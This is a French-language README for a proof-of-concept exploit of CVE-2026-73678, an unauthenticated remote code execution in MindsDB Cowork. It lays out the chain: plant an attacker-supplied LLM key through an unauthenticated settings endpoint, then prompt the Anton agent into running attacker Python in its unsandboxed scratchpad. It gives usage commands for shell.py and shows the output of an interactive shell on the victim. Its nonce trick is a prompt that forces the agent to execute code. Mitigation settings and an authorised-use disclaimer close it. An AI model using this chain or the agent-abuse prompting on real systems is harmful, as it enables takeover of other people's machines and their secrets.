
Exploit PoC pour CVE-2026-73678 : RCE non authentifié dans MindsDB Cowork via une clé LLM fournie par l'attaquant et l'exécution non sandboxée du scratchpad pour exécuter des commandes OS.
PoC pour CVE-2026-73678 (CVSS 3.1 10.0 Critique, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
Write-up complet : www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/
Le sidecar FastAPI cowork-server de Cowork expose /api/v1/ sans aucune authentification
(CWE-306), avec un CORS allow_origins=["*"] (CWE-942), et l'outil scratchpad
de l'agent Anton exécute du Python généré par LLM via un exec() brut sans sandbox (CWE-94).
Chaîne : injecter la clé LLM de l'attaquant via PUT /api/v1/settings/* → POST /api/v1/responses/
avec un prompt qui amène l'agent à exécuter le code de l'attaquant sur le scratchpad → exécution
arbitraire de commandes système en tant qu'utilisateur exécutant l'application.
Adapté du PoC de l'advisory GHSA-jcxw-h8ph-pxpv de MindsDB (crédit : Ho Viet Khanh / HK4zCzi).
127.0.0.1:26866)# against a local dev instance (make dev-web)
python3 shell.py AIzaSy... gemini
# explicit target + model
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
L'extrait généré calcule os.urandom(4).hex() dans le processus de la victime
et l'écrit dans /tmp/RCE_PROOF.txt. Le prompt indique au modèle qu'il ne peut pas
connaître le nonce sans exécuter le code. Si le texte renvoyé contient un nonce
correspondant au fichier sur le disque, le code a manifestement été exécuté — un
modèle hallucinant ne peut pas le produire.
export COWORK_REQUIRE_AUTH=true # auth exists but defaults OFF
export COWORK_AUTH_TOKEN="<long-random>" # or let it auto-generate
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# never set COWORK_SERVER_HOST beyond 127.0.0.1; rotate all secrets reachable
# by the account that ran the app
Aucune version corrigée n'a été taguée ; les correctifs ne se trouvent que sur les
branches main de cowork-server/anton.
Réservé aux tests de sécurité et à la recherche autorisés. Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou que vous n'avez pas l'autorisation explicite de tester.